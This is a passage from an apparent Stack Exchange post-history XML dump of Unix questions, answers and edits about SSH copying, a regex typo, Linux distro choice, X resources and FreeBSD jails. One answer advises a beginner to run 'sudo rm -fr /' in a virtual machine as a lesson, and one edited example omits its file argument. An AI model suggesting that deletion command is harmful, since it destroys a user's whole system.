[LftpFS](http://lftpfs.sourceforge.net/).&#xD;&#xA;&#xD;&#xA;Note that if you were planning to use authentication (likely if you're uploading), and you have control over the server, you'd be better off with SSH access. It's more secure and more flexible. To copy files over SSH, you can use `scp` or `sftp`, or [rsync](http://rsync.samba.org/) for efficient synchronization (if some of the files may already be there), or [Unison](http://www.cis.upenn.edu/~bcpierce/unison/download/stable/) (for bidirectional synchronization), or mount with [SshFS](http://fuse.sourceforge.net/sshfs.html).&#xD;&#xA;" />
  <row Id="30977" PostHistoryTypeId="2" PostId="12626" RevisionGUID="584eab89-d78d-4f19-a29b-c1343cb06c85" CreationDate="2011-05-04T18:03:24.167" UserId="7209" Text="I would like to use my Android smartphone as a webcam and found the app &quot;IP webcam&quot;, which creates various outputs of the camera.&#xD;&#xA;&#xD;&#xA;One such output is a MJPG stream, and I want to know if there is a way to get this stream to work as a webcam-source on my Arch Linux&#xD;&#xA;&#xD;&#xA;I know there is [Droidcam][1], but I just can't get it to work on my machine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dev47apps.com/droidcam/linuxx/" />
  <row Id="30978" PostHistoryTypeId="1" PostId="12626" RevisionGUID="584eab89-d78d-4f19-a29b-c1343cb06c85" CreationDate="2011-05-04T18:03:24.167" UserId="7209" Text="Using MJPG stream as a webcam source" />
  <row Id="30979" PostHistoryTypeId="3" PostId="12626" RevisionGUID="584eab89-d78d-4f19-a29b-c1343cb06c85" CreationDate="2011-05-04T18:03:24.167" UserId="7209" Text="éarchölinuxàéwebcamà" />
  <row Id="30980" PostHistoryTypeId="25" PostId="12619" RevisionGUID="3d8dd082-11c2-4e5c-8b76-a5c3c5615f6e" CreationDate="2011-05-04T18:11:24.080" Comment="http://twitter.com/#!/StackUnix/status/65840965490982912" />
  <row Id="30981" PostHistoryTypeId="2" PostId="12627" RevisionGUID="98e6ae00-14d2-49ac-98e3-ff901ce87d6f" CreationDate="2011-05-04T18:21:52.817" UserId="1835" Text="&gt; There are other processes that are generating files to a/b, is that related?&#xD;&#xA;&#xD;&#xA;Very possibly.  It might be that `rm -rf` first removes all files, then removes all directories.  Under the hood, the `rmdir` system call for removing a directory&#xD;&#xA;will fail if the directory is not empty.  You might have a race condition going on, where `rm -rf` checks that the directory is empty, and it is; another process then creates a new file; finally `rm -rf` calls `rmdir`, but another process creates a file beforehand.&#xD;&#xA;&#xD;&#xA;Faheem's advice is good: put an `ls` into your error condition&#xD;&#xA;&#xD;&#xA;    ssh -T user@host &lt;&lt;EOF&#xD;&#xA;      cd somewhere&#xD;&#xA;      rm -rf a/b || ( ls -a a/b &amp;&amp; exit 1 )&#xD;&#xA;    EOF" />
  <row Id="30982" PostHistoryTypeId="2" PostId="12628" RevisionGUID="1918320e-fac9-4454-ab32-5aee96be1ae5" CreationDate="2011-05-04T18:24:48.343" UserId="7139" Text="If your using an nVidia Graphics card, make sure your distro supports it.  &#xD;&#xA;for example if you use an nVidia CUDA capable hybrid super cool full HD blah blah blah Graphics card like me, Ubuntu takes you a week for installation.  &#xD;&#xA;but SUSE +11, and debian +5 work really nice.  &#xD;&#xA;I personally haven't tested earlier SUSE and debian versions but they are the only thing that worked on my machine.  &#xD;&#xA;These haven't worked for me:  &#xD;&#xA;Ubuntu 10.4  &#xD;&#xA;Mint ?  &#xD;&#xA;Fedora 14  &#xD;&#xA;Parsix 3.5  &#xD;&#xA;FreeBSD 8, 81.  &#xD;&#xA;Slackware  &#xD;&#xA;BackTrack 4  &#xD;&#xA;and the list continues....  &#xD;&#xA;and yes, they all didn't work on my machine.  &#xD;&#xA;my laptop:  http://www.sony-mea.com/product/vpcs116fg  &#xD;&#xA;&#xD;&#xA;Debian is better than SUSE.at least for me." />
  <row Id="30983" PostHistoryTypeId="5" PostId="12628" RevisionGUID="f2fbd8c6-b7ed-47ed-9e90-8117563296c7" CreationDate="2011-05-04T18:31:09.197" UserId="7139" Comment="edited body; added 2 characters in body" Text="If you're using an nVidia Graphics card, make sure your distro supports it.  &#xD;&#xA;for example if you use an nVidia CUDA capable hybrid super cool full HD blah blah blah Graphics card like me, Ubuntu takes you a week for installation.  &#xD;&#xA;but SUSE +11, and debian +5 work really nice.  &#xD;&#xA;I personally haven't tested earlier SUSE and debian versions but they are the only thing that worked on my machine.  &#xD;&#xA;These haven't worked for me:  &#xD;&#xA;Ubuntu 10.4  &#xD;&#xA;Mint ?  &#xD;&#xA;Fedora 14  &#xD;&#xA;Parsix 3.5  &#xD;&#xA;FreeBSD 8, 8.1  &#xD;&#xA;Slackware  &#xD;&#xA;BackTrack 4  &#xD;&#xA;and the list continues....  &#xD;&#xA;and yes, they all didn't work on my machine.  &#xD;&#xA;my laptop:  http://www.sony-mea.com/product/vpcs116fg  &#xD;&#xA;&#xD;&#xA;Debian is better than SUSE.at least for me." />
  <row Id="30984" PostHistoryTypeId="2" PostId="12629" RevisionGUID="847fd41f-18fb-4a4d-ad1c-4cbc06403e72" CreationDate="2011-05-04T18:36:37.823" UserId="2343" Text="I am trying to filter valid/invalid UTF-8 bytes, but I get strange results from the following regex (which is intended to handle a 3 byte form of UTF-8).   &#xD;&#xA;&#xD;&#xA;I have intended the pattern should **not** match the test bytes `'\xE0\xA1\x63'`, but it does...  &#xD;&#xA;What am I missing?        &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    showmatch() {&#xD;&#xA;      echo -ne &quot;    --&gt; &quot;&#xD;&#xA;      echo -ne &quot;$bytes&quot; |&#xD;&#xA;        perl -l -ne '/^'${1// /}'$/x and print' |&#xD;&#xA;          tr -d '\n' |&#xD;&#xA;            xxd -p |&#xD;&#xA;              tr -d '\n'&#xD;&#xA;      echo; &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    bytes='\xE0\xA1\x63'&#xD;&#xA;    echo -n &quot;before: &quot;; echo -ne &quot;$bytes&quot; |xxd -p&#xD;&#xA;    # Note: all whitespace is stripped from each regex pattern.&#xD;&#xA;    #           Bytes 1 and 2 and 3&#xD;&#xA;    #          (---------------------------------------------------------------------------------------------------)&#xD;&#xA;    #              Bytes 1 and 2&#xD;&#xA;    #             (------------------------------------------------------------------------------)                  &#xD;&#xA;    #                [byt1][byt2-----]  |  [byt1][byt2-----]  |  [byte-1------------][byt2-----]      [byt3----]                                                          &#xD;&#xA;    #                =================     =================     ===============================      ==========                            &#xD;&#xA;    showmatch '(  ( ([\xE0][\xA0-\xBF]) | ([\xED][\x80-\x9F]) | ([\xE1-\xEC\xEE-\xEF][\x80-\xBF]) )  ([\80-\xBF])  )'&#xD;&#xA;    #&#xD;&#xA;    # witout spaces:&#xD;&#xA;    showmatch '((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\80-\xBF]))'&#xD;&#xA;    #&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Here is the output&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    before: e0a163&#xD;&#xA;        --&gt; e0a163&#xD;&#xA;        --&gt; e0a163&#xD;&#xA;" />
  <row Id="30985" PostHistoryTypeId="1" PostId="12629" RevisionGUID="847fd41f-18fb-4a4d-ad1c-4cbc06403e72" CreationDate="2011-05-04T18:36:37.823" UserId="2343" Text="Why does this regex find a match for \x63 with a pattern [\80-\xBF]" />
  <row Id="30986" PostHistoryTypeId="3" PostId="12629" RevisionGUID="847fd41f-18fb-4a4d-ad1c-4cbc06403e72" CreationDate="2011-05-04T18:36:37.823" UserId="2343" Text="éregexàéutfö8à" />
  <row Id="30987" PostHistoryTypeId="5" PostId="12629" RevisionGUID="848ef597-9255-483d-861a-c966cf2e7106" CreationDate="2011-05-04T18:41:42.543" UserId="2343" Comment="added 46 characters in body; edited title" Text="I am trying to filter valid/invalid UTF-8 bytes, but I get strange results from the following regex (which is intended to handle a 3 byte form of UTF-8).   &#xD;&#xA;&#xD;&#xA;I have intended the pattern should **not** match the test bytes `'\xE0\xA1\x63'`, but it does...  &#xD;&#xA;What am I missing?        &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    showmatch() {&#xD;&#xA;      echo -ne &quot;    --&gt; &quot;&#xD;&#xA;      echo -ne &quot;$bytes&quot; | &#xD;&#xA;        # strip whitespace from the pattern&#xD;&#xA;        perl -l -ne '/^'${1// /}'$/x and print' |&#xD;&#xA;          tr -d '\n' |&#xD;&#xA;            xxd -p |&#xD;&#xA;              tr -d '\n'&#xD;&#xA;      echo; &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    bytes='\xE0\xA1\x63'&#xD;&#xA;    echo -n &quot;before: &quot;; echo -ne &quot;$bytes&quot; |xxd -p&#xD;&#xA;    # Note: all whitespace is stripped from each regex pattern.&#xD;&#xA;    #           Bytes 1 and 2 and 3&#xD;&#xA;    #          (---------------------------------------------------------------------------------------------------)&#xD;&#xA;    #              Bytes 1 and 2&#xD;&#xA;    #             (------------------------------------------------------------------------------)                  &#xD;&#xA;    #                [byt1][byt2-----]  |  [byt1][byt2-----]  |  [byte-1------------][byt2-----]      [byt3----]                                                          &#xD;&#xA;    #                =================     =================     ===============================      ==========                            &#xD;&#xA;    showmatch '(  ( ([\xE0][\xA0-\xBF]) | ([\xED][\x80-\x9F]) | ([\xE1-\xEC\xEE-\xEF][\x80-\xBF]) )  ([\80-\xBF])  )'&#xD;&#xA;    #&#xD;&#xA;    # witout spaces:&#xD;&#xA;    showmatch '((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\80-\xBF]))'&#xD;&#xA;    #&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Here is the output&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    before: e0a163&#xD;&#xA;        --&gt; e0a163&#xD;&#xA;        --&gt; e0a163&#xD;&#xA;" />
  <row Id="30990" PostHistoryTypeId="5" PostId="12608" RevisionGUID="c68b9580-49c7-485e-bcaf-d1fb489900d7" CreationDate="2011-05-04T18:46:23.117" UserId="4671" Comment="minor syntax corrections" Text="I'm a CS undergraduate, and I'm a newbie to the Unix-like OSs. We used Fedora in our labs, but I've not mastered it. I've installed Windows 7 on my laptop and I want to install this Unix-based OS.&#xD;&#xA;&#xD;&#xA;These are my laptop capabilities:&#xD;&#xA;&#xD;&#xA;* Processor : Intel i3&#xD;&#xA;* Memory : 4GB DDR3&#xD;&#xA;* Storage : 320GB&#xD;&#xA;&#xD;&#xA;I think other details are not needed. Are those capabilities is enough? If so, which distribution should I use?&#xD;&#xA;" />
  <row Id="30991" PostHistoryTypeId="4" PostId="12608" RevisionGUID="c68b9580-49c7-485e-bcaf-d1fb489900d7" CreationDate="2011-05-04T18:46:23.117" UserId="4671" Comment="minor syntax corrections" Text="Need advice to install Unix-like OS on my Laptop." />
  <row Id="30992" PostHistoryTypeId="24" PostId="12608" RevisionGUID="c68b9580-49c7-485e-bcaf-d1fb489900d7" CreationDate="2011-05-04T18:46:23.117" Comment="Proposed by 4671 approved by 885 edit id of 352" />
  <row Id="30993" PostHistoryTypeId="4" PostId="12629" RevisionGUID="848ef597-9255-483d-861a-c966cf2e7106" CreationDate="2011-05-04T18:41:42.543" UserId="2343" Comment="added 46 characters in body; edited title" Text="Why does this regex find a match for \x63 with a pattern [\x80-\xBF]" />
  <row Id="30994" PostHistoryTypeId="2" PostId="12630" RevisionGUID="6c267d9c-8bba-4905-9d86-57e13913ba7c" CreationDate="2011-05-04T18:47:58.167" UserId="7210" Text="Looks like you forgot an `x` in the last part of the regex:&#xD;&#xA;&#xD;&#xA;    [\80-\xBF]  --&gt;  [\x80-\xBF]&#xD;&#xA;" />
  <row Id="30995" PostHistoryTypeId="6" PostId="12608" RevisionGUID="df0731de-1d4f-4902-abec-e0e6dedb4832" CreationDate="2011-05-04T18:54:05.587" UserId="885" Comment="edited tags" Text="élinuxàédualöbootàédistributionöchoiceà" />
  <row Id="30996" PostHistoryTypeId="5" PostId="12628" RevisionGUID="0b123d48-bdd7-4c13-9565-16d5d0ea329d" CreationDate="2011-05-04T18:55:32.587" UserId="7139" Comment="added 1 characters in body" Text="If you're using an nVidia Graphics card, make sure your distro supports it.  &#xD;&#xA;for example if you use an nVidia CUDA capable hybrid super cool full HD blah blah blah Graphics card like me, Ubuntu takes you a week for installation.  &#xD;&#xA;but SUSE +11, and debian +5 work really nice.  &#xD;&#xA;I personally haven't tested earlier SUSE and debian versions but they are the only things that worked on my machine.  &#xD;&#xA;These haven't worked for me:  &#xD;&#xA;Ubuntu 10.4  &#xD;&#xA;Mint ?  &#xD;&#xA;Fedora 14  &#xD;&#xA;Parsix 3.5  &#xD;&#xA;FreeBSD 8, 8.1  &#xD;&#xA;Slackware  &#xD;&#xA;BackTrack 4  &#xD;&#xA;and the list continues....  &#xD;&#xA;and yes, they all didn't work on my machine.  &#xD;&#xA;my laptop:  http://www.sony-mea.com/product/vpcs116fg  &#xD;&#xA;&#xD;&#xA;Debian is better than SUSE.at least for me." />
  <row Id="30997" PostHistoryTypeId="5" PostId="12629" RevisionGUID="fbe279e6-ca30-4538-8da7-349553d32c1d" CreationDate="2011-05-04T18:58:22.693" UserId="2343" Comment="added 446 characters in body" Text="Edit: I'v just found the problem (10 minutes after I posted the question)... but I'll leave it for a while, Someone may simply be interested to try and spot identify the problem... that way the question get answered in a &quot;normal&quot; way.... I've been trying to figure this out for a day! (along with the other byte configurations).. Write this question is such a &quot;detailed&quot; manner gave me a fresh look at it...   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;The question (pre Edit)&#xD;&#xA;&#xD;&#xA;I am trying to filter valid/invalid UTF-8 bytes, but I get strange results from the following regex (which is intended to handle a 3 byte form of UTF-8).   &#xD;&#xA;&#xD;&#xA;I have intended the pattern should **not** match the test bytes `'\xE0\xA1\x63'`, but it does...  &#xD;&#xA;What am I missing?        &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    showmatch() {&#xD;&#xA;      echo -ne &quot;    --&gt; &quot;&#xD;&#xA;      echo -ne &quot;$bytes&quot; | &#xD;&#xA;        # strip whitespace from the pattern&#xD;&#xA;        perl -l -ne '/^'${1// /}'$/x and print' |&#xD;&#xA;          tr -d '\n' |&#xD;&#xA;            xxd -p |&#xD;&#xA;              tr -d '\n'&#xD;&#xA;      echo; &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    bytes='\xE0\xA1\x63'&#xD;&#xA;    echo -n &quot;before: &quot;; echo -ne &quot;$bytes&quot; |xxd -p&#xD;&#xA;    # Note: all whitespace is stripped from each regex pattern.&#xD;&#xA;    #           Bytes 1 and 2 and 3&#xD;&#xA;    #          (---------------------------------------------------------------------------------------------------)&#xD;&#xA;    #              Bytes 1 and 2&#xD;&#xA;    #             (------------------------------------------------------------------------------)                  &#xD;&#xA;    #                [byt1][byt2-----]  |  [byt1][byt2-----]  |  [byte-1------------][byt2-----]      [byt3----]                                                          &#xD;&#xA;    #                =================     =================     ===============================      ==========                            &#xD;&#xA;    showmatch '(  ( ([\xE0][\xA0-\xBF]) | ([\xED][\x80-\x9F]) | ([\xE1-\xEC\xEE-\xEF][\x80-\xBF]) )  ([\80-\xBF])  )'&#xD;&#xA;    #&#xD;&#xA;    # witout spaces:&#xD;&#xA;    showmatch '((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\80-\xBF]))'&#xD;&#xA;    #&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Here is the output&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    before: e0a163&#xD;&#xA;        --&gt; e0a163&#xD;&#xA;        --&gt; e0a163&#xD;&#xA;" />
  <row Id="30998" PostHistoryTypeId="6" PostId="12619" RevisionGUID="ed37f0d8-51fc-4bcb-8a18-b54668784a3a" CreationDate="2011-05-04T18:59:37.997" UserId="885" Comment="edited tags" Text="égnomeàédistributionöchoiceà" />
  <row Id="30999" PostHistoryTypeId="2" PostId="12631" RevisionGUID="6787a016-ac03-4d80-b880-efe707449b0d" CreationDate="2011-05-04T19:07:44.117" UserId="4958" Text="If you're new to UNIX-like OS's, then you should consider a virtualization solution, as [David Mackintosh][1] suggests. Why? Well, you can use this to learn the good and the bad about the OS. You can make mistakes and break the VM as often as you want without affecting the host Windows machine; this type of practice is essential as it gives you the practical experience you would need for using the OS for real work. For a first *educational* example, install a basic OS in the VM then, in the root directory, can run a recursive force delete:&#xD;&#xA;&#xD;&#xA;&gt; cd / &#xD;&#xA;&#xD;&#xA;&gt; sudo rm -fr /&#xD;&#xA;&#xD;&#xA;Why do this? When you've done it once, and you see what effect it has, you'll understand why you would never want to do it again. Of course, this is just a simple, but illustrative example. Be prepared to delete the VM and re-install after this. &#xD;&#xA;&#xD;&#xA;Which OS? For a GNU/Linux system I usually recommend [Debian][2] because it's stable and the installer is straightforward to use. If you've used Fedora, you could choose that for its familiarity. These systems have many users so finding help when you have a problem will be easy.&#xD;&#xA;&#xD;&#xA;What next? Work out what you want to learn or try out. The command line is a good starting point, to understand the basics of what they offer and where to find different parts of the OS. Installing a graphical interface isn't essential, but means you'll already be familiar with the interaction model. Don't worry about performance at this stage, you're still learning and that should take precedence. Here are some suggestions for topics to investigate and put into practice on your new OS.&#xD;&#xA;&#xD;&#xA; - the [file system][3]&#xD;&#xA; - UNIX [permissions][4]&#xD;&#xA; - the [command-line][5], commands and&#xD;&#xA;   files&#xD;&#xA; - [redirecting][6] streams and piping&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/users/1397/david-mackintosh&#xD;&#xA;  [2]: http://www.debian.org/intro/about&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Filesystem#File_systems_under_Unix-like_operating_systems&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Filesystem_permissions#Traditional_Unix_permissions&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Command-line_interpreter&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Redirection_%28computing%29" />
  <row Id="31000" PostHistoryTypeId="5" PostId="12629" RevisionGUID="db2e166e-15ac-47f1-9c6b-127e360770e8" CreationDate="2011-05-04T20:01:22.553" UserId="2343" Comment="deleted 7 characters in body" Text="Edit: I'v just found the problem (10 minutes after I posted the question)... but I'll leave it for a while, Someone may simply be interested to try and spot the problem... that way the question get answered in a &quot;normal&quot; way.... I've been trying to figure this out for a day! (along with the other byte configurations).. Writing this question in such a &quot;detailed&quot; manner gave me a fresh look at it...   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;The question (pre Edit)&#xD;&#xA;&#xD;&#xA;I am trying to filter valid/invalid UTF-8 bytes, but I get strange results from the following regex (which is intended to handle a 3 byte form of UTF-8).   &#xD;&#xA;&#xD;&#xA;I have intended the pattern should **not** match the test bytes `'\xE0\xA1\x63'`, but it does...  &#xD;&#xA;What am I missing?        &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    showmatch() {&#xD;&#xA;      echo -ne &quot;    --&gt; &quot;&#xD;&#xA;      echo -ne &quot;$bytes&quot; | &#xD;&#xA;        # strip whitespace from the pattern&#xD;&#xA;        perl -l -ne '/^'${1// /}'$/x and print' |&#xD;&#xA;          tr -d '\n' |&#xD;&#xA;            xxd -p |&#xD;&#xA;              tr -d '\n'&#xD;&#xA;      echo; &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    bytes='\xE0\xA1\x63'&#xD;&#xA;    echo -n &quot;before: &quot;; echo -ne &quot;$bytes&quot; |xxd -p&#xD;&#xA;    # Note: all whitespace is stripped from each regex pattern.&#xD;&#xA;    #           Bytes 1 and 2 and 3&#xD;&#xA;    #          (---------------------------------------------------------------------------------------------------)&#xD;&#xA;    #              Bytes 1 and 2&#xD;&#xA;    #             (------------------------------------------------------------------------------)                  &#xD;&#xA;    #                [byt1][byt2-----]  |  [byt1][byt2-----]  |  [byte-1------------][byt2-----]      [byt3----]                                                          &#xD;&#xA;    #                =================     =================     ===============================      ==========                            &#xD;&#xA;    showmatch '(  ( ([\xE0][\xA0-\xBF]) | ([\xED][\x80-\x9F]) | ([\xE1-\xEC\xEE-\xEF][\x80-\xBF]) )  ([\80-\xBF])  )'&#xD;&#xA;    #&#xD;&#xA;    # witout spaces:&#xD;&#xA;    showmatch '((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\80-\xBF]))'&#xD;&#xA;    #&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Here is the output&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    before: e0a163&#xD;&#xA;        --&gt; e0a163&#xD;&#xA;        --&gt; e0a163&#xD;&#xA;" />
  <row Id="31001" PostHistoryTypeId="2" PostId="12632" RevisionGUID="8f06997e-7c8a-401c-8784-f845c36cb9bf" CreationDate="2011-05-04T20:10:58.347" UserId="885" Text="You can explore the resources of an existing window with [editres](http://www.x.org/archive/X11R6.8.1/doc/editres.1.html). That's an interactive program, which lets you browse the resource tree, and find the location of a widget in that tree by clicking on the widget in the application. You can even modify a resource if the application supports it. That, however, requires that the application supports the Editres protocol, which is not so common even amongst the dwindling proportion of applications that use X resources. Furthermore, the GUI editres client is the only application I know of that knows how to send Editres queries, so no command line listing.&#xD;&#xA;&#xD;&#xA;You can see what resource settings are defined for a particular application with &#xD;&#xA;[appres](http://www.x.org/archive/X11R6.8.1/doc/appres.1.html). The application might support other settings. That's different from `xrdb -query` which only list settings that the user has explicitly overloaded (appres also lists system defaults).&#xD;&#xA;" />
  <row Id="31002" PostHistoryTypeId="6" PostId="12613" RevisionGUID="b9e9ff3a-fc15-4e25-8c4b-1ce78a5eaff7" CreationDate="2011-05-04T20:11:08.423" UserId="885" Comment="edited tags" Text="éxorgàéx11àéresourcesà" />
  <row Id="31003" PostHistoryTypeId="6" PostId="12612" RevisionGUID="156c8353-f3bd-471e-8456-5dc52f80cf91" CreationDate="2011-05-04T20:13:07.860" UserId="885" Comment="edited tags" Text="élinuxàéhardwareàépowerömanagementàécpuà" />
  <row Id="31004" PostHistoryTypeId="2" PostId="12633" RevisionGUID="727e7314-a5da-4f21-a5a0-6876041bd17b" CreationDate="2011-05-04T20:20:00.643" UserId="1925" Text="If the editor will accept multiple file names and open them all at once in separate buffers or sequentially work it's way through them, you can simply run:&#xD;&#xA;&#xD;&#xA;    editor-command $(ls-command)&#xD;&#xA;&#xD;&#xA;The output of the ls will be used as arguments for the editor. I sometimes do this in two stages. Say I'm looking through some set of files:&#xD;&#xA;&#xD;&#xA;   ls *.css&#xD;&#xA;&#xD;&#xA;...and decide I want to open them. I then use the last command history shortcut and do this:&#xD;&#xA;&#xD;&#xA;    vim $(!!)&#xD;&#xA;&#xD;&#xA;...to open all of the results of the previous command in vim, my favorite editor.&#xD;&#xA;&#xD;&#xA;If your editor will only accept one file at a time and you need to keep spawing editors, either the `xargs` or `for` loop in [jmtd's answer][1] should do the job depending on whether you are using a terminal based editor that needs stdio. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12607/how-do-i-open-all-files-that-are-the-result-of-a-ls-command/12609#12609" />
  <row Id="31005" PostHistoryTypeId="2" PostId="12634" RevisionGUID="3378f8f0-24eb-4ab0-80f5-73fc049494b1" CreationDate="2011-05-04T20:22:06.397" UserId="885" Text="To open all the files called something `.txt` (i.e. `*.txt`) in the current directory:&#xD;&#xA;&#xD;&#xA;    $EDITOR *.txt&#xD;&#xA;&#xD;&#xA;where `$EDITOR` is your favorite editor, e.g. `gedit *.txt`, `nano *.txt`, `vim *.txt`, `emacs *.txt` or whatever. Use just `*` to match all files in the current directory.&#xD;&#xA;&#xD;&#xA;Note that the `ls` command isn't involved. The job of `ls` isn't really to display a list of files, although that happens when you invoke it on a directory. Where `ls` is useful is in displaying file attributes (modification time, permissions, size and so on). To just do something on a bunch of files matching a certain wildcard pattern, the shell's [globs](http://en.wikipedia.org/wiki/Glob_%28programming%29) are enough.&#xD;&#xA;&#xD;&#xA;Advanced enough editors let you do this from inside. For example, in Emacs, just use the normal file opening command (`C-x C-f`) and enter `*.txt`.&#xD;&#xA;&#xD;&#xA;If you also want to match files in subdirectories, in zsh or bash ≥4, you can use `$EDITOR **/*.txt`.&#xD;&#xA;" />
  <row Id="31006" PostHistoryTypeId="2" PostId="12635" RevisionGUID="8b40e9df-f468-4f82-a8cb-98088935e342" CreationDate="2011-05-04T20:27:41.387" UserId="1925" Text="You can run Linux on MUCH lower grade hardware than any current version of windows, so don't even worry about that. It's sometimes the really new hardware that people haven't gotten driver bugs ironed out yet that sometimes cause issues.&#xD;&#xA;&#xD;&#xA;As for picking a distro, you will get a million answers and since there isn't really a right one, Stack Exchange is not even there right place to be asking that question. However I would like to suggest how to answer your own question rather than jumping straight to an answer.&#xD;&#xA;&#xD;&#xA;You should **choose whatever distro the people around you are most familiar with**. You mention your lab uses Fedora. If you interact with those guys and other people are learning the linux ropes on Fedora go with that. If the guys next door are Ubuntu geeks go with that. If you hung out with me and my friends you would be strongly advised to go with PLD-Linux. If you lived in İstanbul you would be best off with Pardus.&#xD;&#xA;&#xD;&#xA;Linux is best learned and used in some kind of community and you will be able to get over some of the early learning curve problems more easily if you are doing it together with people who hit the same problems. Every distro will have a different set of issues, different rough patches, different strengths." />
  <row Id="31007" PostHistoryTypeId="2" PostId="12636" RevisionGUID="1b4daa7e-7b54-40fe-a284-71f028dcd9f6" CreationDate="2011-05-04T20:33:08.847" UserId="885" Text="I think you're looking for a [jail](http://en.wikipedia.org/wiki/FreeBSD_jail). This is a restrictive environment in which processes have limited access to files, networks and system settings. The [handbook](http://www.freebsd.org/doc/handbook/jails.html) explains how to set up a jail. You'll want to block the jail from networking altogether with the `ipv4=disable ipv6=disable` parameters to [`jail`](http://www.freebsd.org/cgi/man.cgi?query=jail&amp;sektion=8), or at least restrict connectivity to a few addresses with something like `ipv4.addr=127.0.0.1,192.168.42.17`.&#xD;&#xA;" />
  <row Id="31008" PostHistoryTypeId="5" PostId="12612" RevisionGUID="c66783f4-75e7-490b-980e-586b137adc2a" CreationDate="2011-05-04T20:37:31.150" UserId="1925" Comment="added 1 characters in body" Text="I tried to slow down my CPU with `powernowd` and `cpufreq-selector`. I hoped that with lower frequency it will be less hot and I won't hear my fan every time I will run internet radio.&#xD;&#xA;I used the following commands&#xD;&#xA;&#xD;&#xA;    sudo cpufreq-selector -f 800000&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    sudo powernowd -m 0 -l 40 -u 60&#xD;&#xA;&#xD;&#xA;but this wasn't sufficient for more quiet laptop.&#xD;&#xA;&#xD;&#xA;My CPU is &#xD;&#xA;&#xD;&#xA;&gt; Intel(R) Pentium(R) M processor&#xD;&#xA;&gt; 1.60GHz&#xD;&#xA;&#xD;&#xA;Could you advise me on how to make it run cooler / quieter?" />
  <row Id="31009" PostHistoryTypeId="5" PostId="12633" RevisionGUID="8eeb1431-786f-4812-99f3-52973927a22a" CreationDate="2011-05-04T20:44:18.633" UserId="1925" Comment="added 344 characters in body; added 95 characters in body; added 169 characters in body" Text="**Edit:** [Gilles is exactly right][1], `ls` is a really bad example because file name glob expansion can be done right on the command line without having to use ls at all! For the sake of demonstrating the technique, I will use more complicated example that could not be done otherwise and edit files based on something IN them instead of just their names.&#xD;&#xA;&#xD;&#xA;The most basic scenario for the original question would be simply:&#xD;&#xA;&#xD;&#xA;    editor-command *.txt&#xD;&#xA;&#xD;&#xA;If the editor will accept multiple file names and open them all at once in separate buffers or sequentially work it's way through them, you can simply run:&#xD;&#xA;&#xD;&#xA;    editor-command $(grep -i content-type)&#xD;&#xA;&#xD;&#xA;The output of the ls will be used as arguments for the editor. I sometimes do this in two stages. Say I'm looking through some set of files:&#xD;&#xA;&#xD;&#xA;    grep -i content-type&#xD;&#xA;&#xD;&#xA;...and decide I want to open them. I then use the last command history shortcut and do this:&#xD;&#xA;&#xD;&#xA;    vim $(!!)&#xD;&#xA;&#xD;&#xA;...to open all of the results of the previous command in vim, my favorite editor.&#xD;&#xA;&#xD;&#xA;If your editor will only accept one file at a time and you need to keep spawing editors, either the `xargs` or `for` loop in [jmtd's answer][2] should do the job depending on whether you are using a terminal based editor that needs stdio. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12607/how-do-i-open-all-files-that-are-the-result-of-a-ls-command/12634#12634&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/12607/how-do-i-open-all-files-that-are-the-result-of-a-ls-command/12609#12609" />
  <row Id="31010" PostHistoryTypeId="17" PostId="12638" RevisionGUID="234ed6bc-8160-4ba3-a655-70160e11001c" CreationDate="2011-05-04T20:49:56.593" UserId="-1" Comment="from http://stackoverflow.com/questions/5854198/switch-back-to-path-when-resume-job-from-background/5863580#5863580" Text="" />
